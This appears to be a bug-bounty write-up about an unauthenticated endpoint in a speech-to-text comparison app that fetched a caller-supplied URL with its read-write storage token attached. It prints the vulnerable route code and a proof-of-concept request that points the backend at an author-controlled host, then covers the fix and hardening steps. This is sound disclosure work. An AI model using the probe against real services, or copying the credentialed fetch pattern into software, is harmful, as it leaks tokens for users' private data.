One unchecked URL, and the server mailed out its storage key

An unauthenticated endpoint fetched any URL you gave it, with the app's read-write storage token attached. Blind SSRF and a credential leak from one missing check.

1 min read

TL;DR

A public “compare speech-to-text providers” tool had an unauthenticated endpoint that took a storage URL from the request body and fetched it with the app’s read/write cloud-storage token in the Authorization header. Point that URL at your own server and the backend hands you the token.

ClassServer-side request forgery with credential forwarding (CWE-918, CWE-201)
AttackerAnyone, no account needed
ImpactLeak of a read/write token for the private store holding users’ audio
SeverityReported High, CVSS 3.1 8.2 · Rated High by the program
StatusFixed · Bounty awarded

Background

You record audio in the browser, it’s uploaded to private cloud storage, and a backend endpoint fetches that audio and sends it to several STT providers so you can compare results. Upload and transcribe are two separate HTTP calls: the frontend uploads first, then passes the returned storage URL to POST /api/transcribe.

The bug

The transcribe endpoint accepted blobUrl from the JSON body and only checked it wasn’t empty:

route.ts
const { sessionId, blobUrl: url, mimeType } = body;
if (!url) {
return NextResponse.json({ error: "blobUrl is required" }, { status: 400 });
}
blobUrl = url;

Then it fetched that URL with the storage token attached:

route.ts
const audioRes = await fetch(blobUrl, {
headers: {
Authorization: `Bearer ${process.env.BLOB_READ_WRITE_TOKEN}`,
},
});

Nothing checked the scheme, host, port, or that the URL pointed at the app’s own store, and nothing checked that the upload step had produced it. One missing check gave two bugs:

  1. Blind SSRF. The backend makes an outbound request to any host the caller names.
  2. Credential leak. That request carries a bearer token the attacker’s server receives in plaintext.

The rest of the endpoint wasn’t careless: per-IP rate limiting, a session ID, a provider lookup, a vote cap, and file checks on the upload route. None of it establishes trust in the URL. The rate limit caps how often, not whether; the session ID is client-generated; and the upload route’s checks don’t cover transcribe, because the two routes shared no state tying the URL to a real upload.

Proof of concept

The dangerous move would be to actually capture the token. I didn’t, and said so in the report.

  1. Stand up an HTTPS receiver I control that answers 404.

  2. Send exactly one request with blobUrl pointing at it:

    reproduce.mjs
    const response = await fetch(target, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
    sessionId: randomUUID(),
    blobUrl: receiverUrl.toString(), // an HTTPS host I control
    mimeType: "audio/wav",
    }),
    });
  3. Production answers:

    { "status": 500, "body": { "error": "Failed to fetch audio from blob" } }

    That error is only returned after the backend’s fetch(blobUrl) comes back non-OK, so it proves the server reached my receiver.

  4. On the receiver I checked only metadata: that a request arrived, and when. I did not read its headers or the token, and deleted the receiver immediately.

  5. To bind the live service to the code, I matched the release identifier the page exposed to the exact source revision I had reviewed, where the fetch adds the token unconditionally.

Impact

An unauthenticated caller can make the backend send its storage token to a host they choose. That token is documented as granting read and write access to the private store, so whoever captures it can read, modify or delete objects there, and in this app the store held users’ uploaded recordings.

Not claimed: access to the vendor’s main API keys or databases, any captured token or audio, or arbitrary deletion through the app’s cleanup call (not verified). The SSRF is blind; the fetched response isn’t returned to the caller.

Severity

I reported High, CVSS 3.1 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N): unauthenticated, trivial to trigger, and it exposes a read/write credential for user data. Integrity stays Low and Availability None because I deliberately didn’t test what the token could change or delete.

The program accepted it at High, as the first report of the issue.

Fix

The deployed fix stopped trusting raw URLs. The handler now validates the blob URL against the app’s own store before any storage operation, and reads the object through the storage SDK by pathname instead of a generic credentialed fetch(). After the fix, the same probe returns 400 Blob URL host is not this store without reaching out.

The general shape:

  1. Don’t accept a storage URL from the client. Issue a server-side upload handle bound to the session and consume it once.
  2. If you must take a URL, require HTTPS and an exact expected store origin and path prefix. Reject userinfo, odd ports, fragments, IP literals and unknown hosts.
  3. Never attach the token until the destination has passed validation.
  4. Disable redirects, or re-validate and strip secrets on every hop.
  5. Rotate the token, since a path that could leak it was public.

Regression tests: arbitrary hosts, scheme confusion, encoded hostnames and redirects all get rejected before any outbound request.

Timeline

DateEvent
2026-09-30Reported, after one harmless verification request
2026-10-07Accepted at High as the first report
2026-10-13Bounty payment initiated
2026-11-13Fix verified in production
2026-11-28Published

Lessons

  • A credential on an outbound request is only as safe as its destination. Once the destination is attacker-chosen, so is the credential’s reader. Validate the target before attaching any secret.
  • Validation on one endpoint doesn’t cover another. Upload checked the file; transcribe trusted a URL. Trust has to travel in server state that links the steps, not in a convention the frontend happens to follow.
  • You don’t need to steal the secret to prove you could. One request and the server’s own error message proved reachability, which kept the test safe and the report undeniable.
  • Blind SSRF with a bearer token isn’t low impact. Nothing came back to the caller, but the credential went out. Where a request goes can matter more than what returns.